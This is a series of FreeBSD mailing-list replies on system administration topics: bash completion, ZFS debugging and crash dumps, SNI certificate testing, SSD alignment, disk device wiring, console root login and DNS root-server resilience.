Re: With fresh 9.1 install, bash completion no longer expands "$HOME"
Re: http://lists.freebsd.org/pipermail/freebsd-questions/2013-June/251607.html This has nothing to do with FreeBSD 9.0 vs. 9.1 other than the fact that the package on 9.0 is older than 9.1. Instead, this has everything to do with the difference between bash versions you're using. Remember: packages and ports 99% of the time are third-party software (in this case GNU), and therefore any changes in behaviour between versions are entirely independent of FreeBSD. The feature you like from bash 4.1 was removed in some manner of speaking in bash 4.2. This prompted a user to complain -- please read the thread (not just the post) in full, because you will see there are others who *do not* like this behaviour: http://lists.gnu.org/archive/html/bug-bash/2011-02/msg00274.html In bash 4.2.29 -- which is technically "patch 029 for bash 4.2" -- the feature you desire got moved into a shopt feature called "direxpand", with the default being disabled. Because bash 4.3 is not out yet, you will not find any mention of this in the official bash CHANGES file at this time. Instead, you will find the answer in the official bash42-029 patch itself (read the top): ftp://ftp.gnu.org/gnu/bash/bash-4.2-patches/bash42-029 If you do not like this default, or feel strongly about this whole thing and want to discuss it, the GNU bug-bash mailing list is the place: http://www.gnu.org/software/bash/ To enable direxpand, use "shopt -s direxpand". You can put this command in your ~/.bashrc. -- | Jeremy Chadwick j...@koitsu.org | | UNIX Systems Administratorhttp://jdc.koitsu.org/ | | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: ZFS question
{thread snip}
For those following/interested in this conversation, it's been moved to
freebsd-fs:
http://lists.freebsd.org/pipermail/freebsd-fs/2013-March/016812.html
http://lists.freebsd.org/pipermail/freebsd-fs/2013-March/016813.html
And the long/more recent analysis I did of the problem stated:
http://lists.freebsd.org/pipermail/freebsd-fs/2013-March/016814.html
--
| Jeremy Chadwick j...@koitsu.org |
| UNIX Systems Administratorhttp://jdc.koitsu.org/ |
| Mountain View, CA, US|
| Making life hard for others since 1977. PGP 4BD6C0CB |
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: ZFS question
On Wed, Mar 20, 2013 at 10:10:20PM -0700, Reed A. Cartwright wrote:
> {snipped stuff about CAM and mps and ZFS deadman}
>
> Jeremy, I have a question about enabling kernel dumps based on my
> current swap config.
>
> I currently have a 1TB drive split into 4 geli encrypted swap
> partitions (Freebsd doesn't like swap partitions over ~250 GB and I
> have lots of RAM).
>
> These partitions are UFS-swap partitions and are
> not backed by any mirroing or ZFSing.
>
> So, how do I best enable crash dumps? If I need to remove encryption,
> I can do that.
I have zero familiarity with geli(8), gbde(8), and file-based swap.
My gut feeling is that you cannot use this to achieve a proper kernel
panic dump, but I have not tried it.
You can force a kernel panic via "sysctl debug.kdb.panic=1". I'm not
sure if an automatic memory dump to swap happens with the stock GENERIC
kernel however. I can talk more about that if needed (it involves
adding some options to your kernel config, and one rc.conf variable).
Regarding "enabling crash dumps" as a general concept:
In rc.conf you need to have dumpdev="auto" (or point it to a specific
disk slice, but auto works just fine assuming you have a "swap" or
"dump" device defines in /etc/fstab -- see savecore(8) man page). Full
details are in rc.conf(5). How this works:
After a system reboots, during rc script startup, rc.d/savecore runs
savecore which examines the configured dumpdev for headers + tries to
detect if there was previously a kernel panic. If it finds one, it
begins pulling the data out of swap and writing the results directly to
/var/crash in a series of files (again, see savecore(8)). It does this
***before*** swapon(8) is run (reason why should be obvious) via
rc.d/swapon. After it finishes, swapon is run (meaning anything
previously written to the swap slice is effectively lost), and the
system continues through the rest of the rc scripts.
Purely for educational purposes: to examine system rc script order, see
rcorder(8) or run "rcorder /etc/rc.d/*".
--
| Jeremy Chadwick j...@koitsu.org |
| UNIX Systems Administratorhttp://jdc.koitsu.org/ |
| Mountain View, CA, US|
| Making life hard for others since 1977. PGP 4BD6C0CB |
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: ZFS question
(Please keep me CC'd as I'm not subscribed to -questions) Lots to say about this. 1. freebsd-fs is the proper list for filesystem-oriented questions of this sort, especially for ZFS. 2. The issue you've described is experienced by some, and **not** experienced by even more/just as many, so please keep that in mind. Each/every person's situation/environment/issue has to be treated separately/as unique. 3. You haven't provided any useful details, even in your follow-up post here: http://lists.freebsd.org/pipermail/freebsd-questions/2013-March/249958.html All you've provided is a "general overview" with no technical details, no actual data. You need to provide that data verbatim. You need to provide: - Contents of /boot/loader.conf - Contents of /etc/sysctl.conf - Output from "zpool status" - Output from "zpool get all" - Output from "zfs get all" - Output from "dmesg" (probably the most important) - Output from "sysctl vfs.zfs kstat.zfs" I particularly tend to assist with disk-level problems, so if this turns out to be a disk-level issue (and NOT a controller or controller driver issue), I can help quite a bit with that. 4. I would **not** suggest rolling back to 9.0. This recommendation is solves nothing -- if there is truly a bug/livelock issue, then that needs to be tracked down. By rolling back, if there is an issue, you're effectively ensuring it'll never get investigated or fixed, which means you can probably expect to see this in 9.2, 9.3, or even 10.x onward. If you can't deal with the instability, or don't have the time/cycles/interest to help track it down, that's perfectly okay too: my recommendation is to go back to UFS (there's no shame in that). Else, as always, I strongly recommend running stable/9 (keep reading). 5. stable/9 (a.k.a. FreeBSD 9.1-STABLE) just recently (~5 days ago) MFC'd an Illumos ZFS feature solely to help debug/troubleshoot this exact type of situation: introduction of the ZFS deadmean thread. Reference materials for what that is: http://svnweb.freebsd.org/base?view=revision&revision=248369 http://svnweb.freebsd.org/base?view=revision&revision=247265 https://www.illumos.org/issues/3246 The purpose of this feature (enabled by default) is to induce a kernel panic when ZFS I/O stalls/hangs for unexpectedly long periods of time (configurable via vfs.zfs.deadman_synctime). Once the panic happens (assuming your system is configured with a slice dedicated to swap (ZFS-backed swap = bad bad bad) and use of dumpdev="auto" in rc.conf), upon reboot the system should extract the crash dump from swap and save it into /var/crash. At that point kernel developers on the -fs list can help tell you *exactly* what to do with kgdb(1) that can shed some light on what happened/where the issue may lie. All that's assuming that the issue truly is ZFS waiting for I/O and not something else (like ZFS internally spinning hard in its own code). Good luck, and let us know how you want to proceed. -- | Jeremy Chadwick j...@koitsu.org | | UNIX Systems Administratorhttp://jdc.koitsu.org/ | | Mountain View, CA, US| | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: https://wiki.freebsd.org/ certificate error
(Please keep me CC'd as I'm not subscribed to -questions) (I'm CC'ing Simon Nielsen who maintains the FreeBSD webserver cluster, as this obviously needs to be looked at.) First, be aware that the following advice which was given: > openssl s_client -showcerts -connect wiki.freebsd.org:443 ...is not a sufficient/correct test for this sort of thing. Let's talk about why, and how to do it right: OpenSSL since 0.9.8 has supported SNI (more on what that is in a moment), but only if the -servername flag is it used (with s_client specifically, I think). Otherwise, in this case, what gets returned is the "webserver default" SSL certificate. Expanding: Look very closely at the CN (CommonName) field in the below cert. I should note wiki.freebsd.org during both tests below resolved to 8.8.178.110: $ echo "" | openssl s_client -showcerts -connect wiki.freebsd.org:443 | grep CN= depth=1 /C=FR/O=GANDI SAS/CN=Gandi Standard SSL CA verify error:num=20:unable to get local issuer certificate verify return:0 0 s:/OU=Domain Control Validated/OU=Gandi Standard SSL/CN=www.freebsd.org i:/C=FR/O=GANDI SAS/CN=Gandi Standard SSL CA 1 s:/C=FR/O=GANDI SAS/CN=Gandi Standard SSL CA i:/C=US/ST=UT/L=Salt Lake City/O=The USERTRUST Network/OU=http://www.usertrust.com/CN=UTN-USERFirst-Hardware subject=/OU=Domain Control Validated/OU=Gandi Standard SSL/CN=www.freebsd.org issuer=/C=FR/O=GANDI SAS/CN=Gandi Standard SSL CA DONE This **is NOT** correct, and would result in a CN mismatch and throw an error in some browsers (keep reading), because wiki.freebsd.org != www.freebsd.org. What you need to do is this: openssl s_client -showcerts -connect wiki.freebsd.org:443 -servername wiki.freebsd.org Result: $ echo "" | openssl s_client -showcerts -connect wiki.freebsd.org:443 -servername wiki.freebsd.org | grep CN= depth=1 /C=FR/O=GANDI SAS/CN=Gandi Standard SSL CA verify error:num=20:unable to get local issuer certificate verify return:0 0 s:/OU=Domain Control Validated/OU=Gandi Standard SSL/CN=wiki.freebsd.org i:/C=FR/O=GANDI SAS/CN=Gandi Standard SSL CA 1 s:/C=FR/O=GANDI SAS/CN=Gandi Standard SSL CA i:/C=US/ST=UT/L=Salt Lake City/O=The USERTRUST Network/OU=http://www.usertrust.com/CN=UTN-USERFirst-Hardware subject=/OU=Domain Control Validated/OU=Gandi Standard SSL/CN=wiki.freebsd.org issuer=/C=FR/O=GANDI SAS/CN=Gandi Standard SSL CA DONE Much better. The -servername flag is not documented anywhere in the FreeBSD OpenSSL man page directory (/usr/share/openssl), and don't ask me why. So what's SNI? http://en.wikipedia.org/wiki/Server_Name_Indication For deep details, look at RFC 6066, RFC 4366, and RFC 3546. Otherwise the simple version is: SNI allows, at the SSL client level, a way to include a FQDN/hostname in the initial handshake. This solves the "chicken-and-egg" problem involving name-based virtualhosts where the webserver can't determine what the HTTP Host: header is because it's encrypted. The same goes for any protocol (not just HTTP) that has similar mechanisms. NOW BACK TO THE ACTUAL PROBLEM REPORTED -- It appears that whoever maintains the FreeBSD webservers in the cluster **assumes** that the connecting client supports SNI. That assumption, as someone who ran a hosting organisation since 1993, is rude (some might say "bad", but I would say rude). Web browsers/clients that don't support SNI are screwed -- they'll receive a "certificate validation failure" error. Internet Explorer 6.x through 8.x -- newer is not available on Windows XP -- do not support SNI (this is even mentioned in the above Wikipedia page). They return the error "There is a problem with this website's security certificate" due to lack of SNI support. Let me be clear: THIS IS NOT THE FAULT (OR AGE) OF THE OS. THIS HAS TO DO WITH THE WEB BROWSER. Why? Because Firefox 19.0 on Windows XP works just fine, as it supports SNI. So how do you solve this problem for "legacy" clients? Simple: By dedicating an IP address to the SSL-based virtualhost/webserver (i.e. one IP address per SSL-based virtual host), and do away with name-based vhosting for SSL. That's the only way. You can continue to use name-based vhosting for non-SSL, as pretty much all browsers (including IE 6.x) support the HTTP Host: header. To find out if SNI is used or not, do a packet capture and look at the SSL "Client Hello" packet in Wireshark. Go looking for the "Extension: server_name" section of the TLSv1 portion of the packet (Wireshark can decode this) and you'll find it. -- | Jeremy Chadwick j...@koitsu.org | | UNIX Systems Administratorhttp://jdc.koitsu.org/ | | Mountain View, CA, US| | Making life hard for others since 1977. PGP 4BD6C0CB | ___
Re: How to add zfs support to FreeBSD
On Tue, Feb 19, 2013 at 09:09:07AM +, Teske, Devin wrote:
> 4. lsvfs output?
> --
> Devin
>
>
> From: owner-freebsd-questi...@freebsd.org
> [owner-freebsd-questi...@freebsd.org] on behalf of Jeremy Chadwick
> [j...@koitsu.org]
> Sent: Tuesday, February 19, 2013 12:16 AM
> To: freebsd-questions@freebsd.org
> Cc: fb...@a1poweruser.com; free...@edvax.de
> Subject: Re: How to add zfs support to FreeBSD
>
> Regarding all the recommendations on "how to determine if ZFS is
> available on the system":
>
> Do not run commands like /sbin/zfs or /sbin/zpool right off the bat.
> This will result in the underlying kld bits dynamically loading zfs.ko
> and opensolaris.ko on the fly -- even if there aren't any ZFS
> filesystems used -- which takes up kernel memory. This also generates
> crap on the console, and I can assure you an SA running some script is
> not expecting this. (An example is a system I admin which does not use
> ZFS, but I often forget that fact and type "zpool status" as root by
> accident, which loads ZFS, etc. -- I ended up using WITHOUT_CDDL on that
> system just to keep that from happening ;-) ).
>
> The OP needs to define what he means by "enabled on the host". This
> could mean:
>
> a) The host actually has ZFS compiled or not (e.g. WITHOUT_ZFS and/or
> WITHOUT_CDDL and/or WITHOUT_CTF are not defined in src.conf),
>
> b) The host is capable of using ZFS (e.g. kernel modules are built and
> installed but are not loaded),
>
> c) The host has the kernel modules loaded but are not actually in use
> (e.g. zfs_enable="yes" in rc.conf but no ZFS filesystems defined),
>
> d) The host has the kernel modules loaded and actively has ZFS
> filesystems in use.
>
>
> Recommendations (meaning you get to use a combination of these to create
> proper logic depending on what you want -- please keep in mind what I
> just said about using /sbin/zpool and so on however):
>
> 1) Check for the existence of /sbin/zfs (e.g. if [ -x ... ]). If it
> exists, the system was built without WITHOUT_{ZFS,CDDL,CTF} set. (Sorry
> for the double negative).
>
> 2) Use "sysctl -n vfs.zfs.version.zpl" and check exit code. If 1, the
> kernel modules are not loaded, else they are.
>
> 3) Run "/sbin/zpool list -H" and see if there's any output. If there
> is, there are pools defined, which means in some way or another ZFS is
> being used by the system. (Note that I recommend using /sbin/zpool not
> /sbin/zfs, because zpool (for me anyway) takes less time and if there's
> a pool there is going to be a filesystem (even if -omountpoint=none)
> that shows up /sbin/zfs).
>
> Note that this WILL result in the kernel modules being loaded.
> Depending on what the OP wants, you could use "/sbin/mount | grep zfs"
> instead, but that won't catch one situation: where all ZFS filesystems
> are mountpoint=none.
>
> Footnote: do not do silly things like grep /etc/src.conf for WITHOUT_xxx
> features, or /etc/rc.conf for whatever; an admin may have set these in
> advance for the next {build,install}{world,kernel} which have yet to be
> run. Parsing/checking config files is not going to suffice.
That's a pretty awesome command, one which I've never heard of --
probably because it's only mentioned in these, and only these:
df(1)
find(1)
mount(2)
nmount(2)
umount(2)
jail(8)
Not even in mount(8), VFS(9), extattr(9), or any other man page one
might think be relevant. Strange, considering it's existed since
FreeBSD 2.0 (!).
--
| Jeremy Chadwick j...@koitsu.org |
| UNIX Systems Administratorhttp://jdc.koitsu.org/ |
| Mountain View, CA, US|
| Making life hard for others since 1977. PGP 4BD6C0CB |
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: How to add zfs support to FreeBSD
Regarding all the recommendations on "how to determine if ZFS is
available on the system":
Do not run commands like /sbin/zfs or /sbin/zpool right off the bat.
This will result in the underlying kld bits dynamically loading zfs.ko
and opensolaris.ko on the fly -- even if there aren't any ZFS
filesystems used -- which takes up kernel memory. This also generates
crap on the console, and I can assure you an SA running some script is
not expecting this. (An example is a system I admin which does not use
ZFS, but I often forget that fact and type "zpool status" as root by
accident, which loads ZFS, etc. -- I ended up using WITHOUT_CDDL on that
system just to keep that from happening ;-) ).
The OP needs to define what he means by "enabled on the host". This
could mean:
a) The host actually has ZFS compiled or not (e.g. WITHOUT_ZFS and/or
WITHOUT_CDDL and/or WITHOUT_CTF are not defined in src.conf),
b) The host is capable of using ZFS (e.g. kernel modules are built and
installed but are not loaded),
c) The host has the kernel modules loaded but are not actually in use
(e.g. zfs_enable="yes" in rc.conf but no ZFS filesystems defined),
d) The host has the kernel modules loaded and actively has ZFS
filesystems in use.
Recommendations (meaning you get to use a combination of these to create
proper logic depending on what you want -- please keep in mind what I
just said about using /sbin/zpool and so on however):
1) Check for the existence of /sbin/zfs (e.g. if [ -x ... ]). If it
exists, the system was built without WITHOUT_{ZFS,CDDL,CTF} set. (Sorry
for the double negative).
2) Use "sysctl -n vfs.zfs.version.zpl" and check exit code. If 1, the
kernel modules are not loaded, else they are.
3) Run "/sbin/zpool list -H" and see if there's any output. If there
is, there are pools defined, which means in some way or another ZFS is
being used by the system. (Note that I recommend using /sbin/zpool not
/sbin/zfs, because zpool (for me anyway) takes less time and if there's
a pool there is going to be a filesystem (even if -omountpoint=none)
that shows up /sbin/zfs).
Note that this WILL result in the kernel modules being loaded.
Depending on what the OP wants, you could use "/sbin/mount | grep zfs"
instead, but that won't catch one situation: where all ZFS filesystems
are mountpoint=none.
Footnote: do not do silly things like grep /etc/src.conf for WITHOUT_xxx
features, or /etc/rc.conf for whatever; an admin may have set these in
advance for the next {build,install}{world,kernel} which have yet to be
run. Parsing/checking config files is not going to suffice.
--
| Jeremy Chadwick j...@koitsu.org |
| UNIX Systems Administratorhttp://jdc.koitsu.org/ |
| Mountain View, CA, US|
| Making life hard for others since 1977. PGP 4BD6C0CB |
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: VPS FreeBSD Hosting
Hello, We at SmartServ Hosting, http://www.smart-serv.net/, have been offering VPS containers supporting FreeBSD for over a year and previously ran all our services from FreeBSD on bare metal before moving into our virtualization environment where we continue to use FreeBSD for our core services. We have hosts available in US and France currently. On 11/25/2012 02:08 PM, Jim Flowers wrote: I gave up maintaining my own hardware for providing cloud computing services about 10 years ago and have been using several dedicated server services with root-access FreeBSD since about 6.0. with good results. At the time VPS looked like too many problems. Now, however, it looks like there are quite a number of mature VPS hosting services that are FreeBSD-centric at very attractive prices. Most offer KVM or VPS-instance access to allow rebooting and reinstallation. Can anyone comment on the providers and the technology in the context of having used them specifically for FreeBSD in the last few years? Good? Bad? Indifferent? Fairly modest duty - spam filtering, mailboxes, websites, storage, reverse proxy and the like. Oh yeah, some development. Thanks ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org" ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: 9.1 and gmirror with GPT?
(I won't be responding to any public or private mails relating to this
topic after this point, just as an FYI)
Just a reminder for readers:
If you're truly using 4096-byte sectors disks -- specifically MECHANICAL
hard disks (MHDDs) -- use of 4KByte alignment is fine.
But if you ever plan on using an SSD the future, you need to align
things to 1MBytes or 2MBytes.
I have read on the mailing lists where some users "don't know why / what
the justification is" behind this, so I'll explain it:
The reason is that FTLs within SSDs do not issue erases (resetting bits
to zero) on a per-flash-page basis (a flash page is commonly 4KBytes),
but on a "block" basis (a group of pages). This is usually referred to
as the "NAND erase block size".
Let me make this clear: this is not the same thing as filesystem block
size or similar "block size" you might see mentioned throughout the
zillions of layers of I/O abstraction in a *IX system and its kernel.
Do not mix up the terms (yes I know it's confusing). Anyway...
Most SSD vendors do not disclose what the NAND erase block size is in
their products, and that's disappointing.
However poking and prodding (usually performance testing) has shown that
most vendors use either 1MByte or 2MByte NAND erase block sizes (as of
this writing). I haven't seen larger in the field yet, for consumer
products anyway (i.e. don't ask me about FusionIO).
This is why Windows Vista and Windows 7 aligns its partitions to 1MByte
boundaries.
...and quite honestly FreeBSD should too. I am aware 9.1-RELEASE
supposedly addresses this -- however I have not determined if the
alignment size chosen by the committer was 4096 or 1MB/2MB. I have a
gut feeling it's the former, and that's bad.
With 1MByte or 2MByte alignment, performance on 512-byte MHDDs would be
fine, performance on 4096-byte MHDDs would be fine, and performance on
SSDs would be fine.
If folks want to be on the "extra super duper safe side", align to 2MB.
Otherwise align to 1MB and don't worry about it.
Lack of proper alignment to NAND erase block size can result in excess
wear/tear on the NAND flash, which means diminishing the effectiveness
of wear levelling and the performance of your drive. Do not ask me for
numbers; I do not have them. Read Wikipedia's article on wear levelling
for details.
Next: in case it's not made clear to readers from Warren's statements:
the magical "8" divisor he's using comes from 4096/512 ("how many 512
bytes are there in a 4096-byte sector"). Thus, for 1MByte alignment the
value would be 1048576/512 or 2048. For 2MByte alignment the value
would be 2097152/512 or 4096.
The general rule-of-thumb I tend to use is to use GPT and start my
FreeBSD partitions at LBA 4096, and make sure all the partition sizes
are divisible by 2MBytes. If there is a GPT+GEOM conflict, I tend to
recommend to people, with the introduction of graid(8), that they make
use of BIOS-level RAID and then use GPT.
There is one known caveat to this (as of this writing) where a ZFS root
filesystem used on top of graid(8) results in a problem, but mav@ is
looking into that. And don't ask me why you'd want to do that anyway --
some people apparently like complicating their lives and shunning KISS
principle entirely.
P.S. -- Linux md solved their equivalent of the "GEOM vs. GPT" issue
with the introduction of md superblock version 1.2 (superblock=metadata
in this context). They stuck the superblock 4096 bytes after the start
of the device. This does limit the number of GPT partitions supported
(from 128 down to 8), but I question the reasoning/sanity of anyone
who's got more than 8 GPT partitions on a single disk anyway (use a
volume manager already).
--
| Jeremy Chadwick j...@koitsu.org |
| UNIX Systems Administratorhttp://jdc.koitsu.org/ |
| Mountain View, CA, US|
| Making life hard for others since 1977. PGP 4BD6C0CB |
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: ata controller problem
On Fri, Oct 26, 2012 at 06:43:28PM +0200, Polytropon wrote: > > I wish people would stop recommending this utter garbage. There is > > absolutely no justification behind using the highly convoluted labelling > > mechanisms at multiple layers within FreeBSD. There are 3 (possibly 4) > > different "label" mechanisms which do nothing but confuse the user, or > > cause other oddities/complexities. Good grief, there is so much hard > > evidence on the mailing lists over the past 5 (maybe even 7?) years > > talking about the utter mess that is filesystem/device/geom/blahblah > > labels that to recommend this is borderline insane. > > Yes, the amount of different, present (in parallel) and > differently implemented and accessible labeling mechanisms > can be confusing. There is no "the one true way" to do it. > Especially when dealing with metadata (e. g. for rare cases > of data recovery) it might make things more complicated. > > I don't agree that labels in general "do nothing but confuse > the user" - the same could be said about controllers, devices > and how they are partitioned (again, many different ways here). > But users usually don't deal with that. Sysadmins do. And they > should be able to deal with it, as it's not _that_ complicated > (from their educated and experienced point of view, I assume). > > That's why I would still say labels have their place, especially > in settings with many disks (10 and more) where concluding > "which disk?" is sometimes required, in terms of disk, not > disk _bay_. Let me make myself extra clear here -- and I won't be replying past this point (privately or publicly): What the OP wanted was to have a static mapping between a physical SATA port (e.g. Card #1 Port #0) and a device name (e.g. ada0) -- one which never changes no matter if there's a disk attached to the port or not. The wire-down method described above does this. Using labels does not. Here's a list of the wonderful fun things labels offer: - You get to remember or write down the label; don't forget it - You get to change /etc/fstab - You get to pray you never have to replace a disk, and if you do, that you remember which labelling method you used, and/or deal with partitioning complexities (see last item) - You get to be subjected to bugs in the GEOM layer or UFS layer when it comes to labels (this has happened!) - If using GPT (the only present way to align a partition properly to a 1MByte boundary -- matters greatly for SSDs due to NAND erase page size!), you're subjected to the problem where GEOM stores its metadata in the last sector, which is also where GPT stores its backup table. This is even documented in the Handbook, which is both good *and* hilarious at the same time And don't forget about the automatic vs. manual GEOM label method (but for this case I'm assuming automatic is used, since that method stores metadata). Every one of these situations has happened to at least one person in the past 5 (7?) years. They CONTINUE to happen. It cannot be denied. We FreeBSD users way too often shove our fingers into our ears and yell "LALALA" when people point out shortcomings. Blind advocacy of any kind of technology these days is something to be wary of. All that said: labels have a very, very specific purpose, backed by a list of many caveats. But "I want to ensure controller port X maps to device X at all times" is not one of those purposes. -- | Jeremy Chadwick j...@koitsu.org | | UNIX Systems Administratorhttp://jdc.koitsu.org/ | | Mountain View, CA, US| | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: ata controller problem
Regarding this: http://lists.freebsd.org/pipermail/freebsd-questions/2012-October/245862.html No no NO *NO*! I wish people would stop recommending this utter garbage. There is absolutely no justification behind using the highly convoluted labelling mechanisms at multiple layers within FreeBSD. There are 3 (possibly 4) different "label" mechanisms which do nothing but confuse the user, or cause other oddities/complexities. Good grief, there is so much hard evidence on the mailing lists over the past 5 (maybe even 7?) years talking about the utter mess that is filesystem/device/geom/blahblah labels that to recommend this is borderline insane. The proper way to solve this problem is to user /boot/loader.conf tie-downs to assign each disk to each individual controllers' device number (e.g. ada0 --> scbus0 --> ahcich0, or whatever you want). Please note I said ahcichX, not ahciX. Different things. I have helped others in the past do this; Randy Bush is one such person. Taken directly from my /boot/loader.conf with a single SATA controller, but obviously this can be adjusted to whatever you want. # "Wire down" device names (ada[0-5]) to each individual port # on the SATA/AHCI controller. This ensures that if we reboot # with a disk missing, the device names stay the same, and stay # attached to the same SATA/AHCI controller. # http://lists.freebsd.org/pipermail/freebsd-fs/2011-March/011036.html # hint.scbus.0.at="ahcich0" hint.scbus.1.at="ahcich1" hint.scbus.2.at="ahcich2" hint.scbus.3.at="ahcich3" hint.scbus.4.at="ahcich4" hint.scbus.5.at="ahcich5" hint.ada.0.at="scbus0" hint.ada.1.at="scbus1" hint.ada.2.at="scbus2" hint.ada.3.at="scbus3" hint.ada.4.at="scbus4" hint.ada.5.at="scbus5" See CAM(4) man page (read it, don't skim!) for full details. Just please for the love of god do not use labels to solve this. -- | Jeremy Chadwick j...@koitsu.org | | UNIX Systems Administratorhttp://jdc.koitsu.org/ | | Mountain View, CA, US| | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: Root password not working on console
On 08/31/2012 03:37 PM, Walt Elam wrote: I recently *accidentally* removed myself from the wheel group, so I was no longer able to use su to root. To fix it, I hooked up a monitor and keyboard to my FreeBSD 8.2 box so I could login as root, but it kept rejecting my password. I restarted the machine in single-user mode, did the following: mount -u / mount -a passwd exit So it booted back in to multi-user mode. Once again, I tried to login as root, but got the same "Login incorrect" message. Puzzled, I repeated the previous steps using the password "pass" this time. However, I went ahead and added my user account to the wheel group while in single-user mode. Once in multi-user mode again, I still got "Login incorrect" (specifically, pam_acct_mgmt(): authentication error) when logging in as root. I SSH'd to the machine as my regular user, typed su, and entered "pass" which worked just fine. So, I have absolutely no clue why I am unable to login to my machine, on the console, as root with "pass", but it works when using su from a regular user account. I tried searching around but almost all of the hits are about resetting the root password in single-user mode. Does any one know what I'm doing incorrectly? Thanks for any help in advance, -Walt The only thing that comes to mind would be to check /etc/ttys and see if the console ttys are set to insecure, which would prevent root login. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org" ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: Raspberry Pi
The freebsd-arm@ list is where it is being discussed and progressing, don't think anybody has the hardware yet. On 2012-03-07, at 4:40 PM, Chad Perrin wrote: > On Wed, Mar 07, 2012 at 04:35:47PM -0500, Sean Cavanaugh wrote: >> People have not had a chance to get their hands on to even start on it yet. >> The few boards out in public before last week were developer boards that >> were really hard to get a hold of. Most current devel is based on linux due >> to the binary blob. > > Okay, that makes sense. Thanks. > > If anyone has more information about planned BSD Unix ports to Raspberry > Pi, or comes up with more in the next few weeks, I'd appreciate it if > someone would let me know (perhaps with URIs or contact information for > people and projects working on this). > > -- > Chad Perrin [ original content licensed OWL: http://owl.apotheon.org ] > ___ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org" ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: DNS - slaving the root zone
On Fri, Feb 17, 2012 at 02:41:57PM +0100, Damien Fleuriot wrote: > Hello list, Jeremy, Doug, > > > We're currently having a discussion on the FRnOG mailing list regarding > the laughable announcement of an attack on the DNS root servers by > Anonymous. > > I've kinda hijacked the thread to ask whether people slave the root zone > or not, and why if not. > > > Active poster, renowned blogger and AFNIC worker Stephane Bortzmeyer > pointed out that it might not be a good idea and submitted the following > discussion from 2007 as reference: > http://lists.freebsd.org/pipermail/freebsd-current/2007-August/075895.html > > > Do you still believe slaving the root zone to be a bad idea ? The important thread (IMO) is actually here: https://lists.dns-oarc.net/pipermail/dns-operations/2007-July/thread.html#1804 These are the people you should be asking this question to given the "announcement". Folks like Paul Vixie and David Conrad. Also, just a tip: given that at an old job I dealt with DoS and DDoS attacks on our infrastructure on a near-daily basis (advice to public: never run a public IRC server on a major network), I wouldn't be so quick to dismiss the claim as "laughable". Folks can bring up the distribution of all the root servers, anycast, etc. all they want, but nobody truly knows how "distributed" the DDoS will be. Sit back and think about that one for a little while, let it stew in your mind. Rest assured, if what is being proposed turns out to be accomplished, you will be quite surprised at how many large Fortune 500 companies and financial organisations are impacted by it. I can't go into details, but I can assure you with utmost certainty that many of them rely on Internet transit for very important transactions -- most of which use DNS-based lookups for all sorts of things. Given the state of IT in general these days, chances are very few companies have thought ahead in this case. Though DNS may not simply break 100% (duh), failed lookups and "oddities" occurring all over the place would be likely. If you've ever worked at a large corporation, you'll know how easy it is for people to incorrectly assess reasons for outages -- it wouldn't surprise me if it took said companies 24-48 hours to figure out what was truly the root cause. TL;DR -- don't be hasty when it comes to threats on the Internet on such a large scale. It's amazing the infrastructure we have today works at all anyway. -- | Jeremy Chadwick jdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, US | | Making life hard for others since 1977. PGP 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: FreeBSD 10.0-CURRENT/amd64: Weirdness with LOCALE settings: ghostswitching in csh?
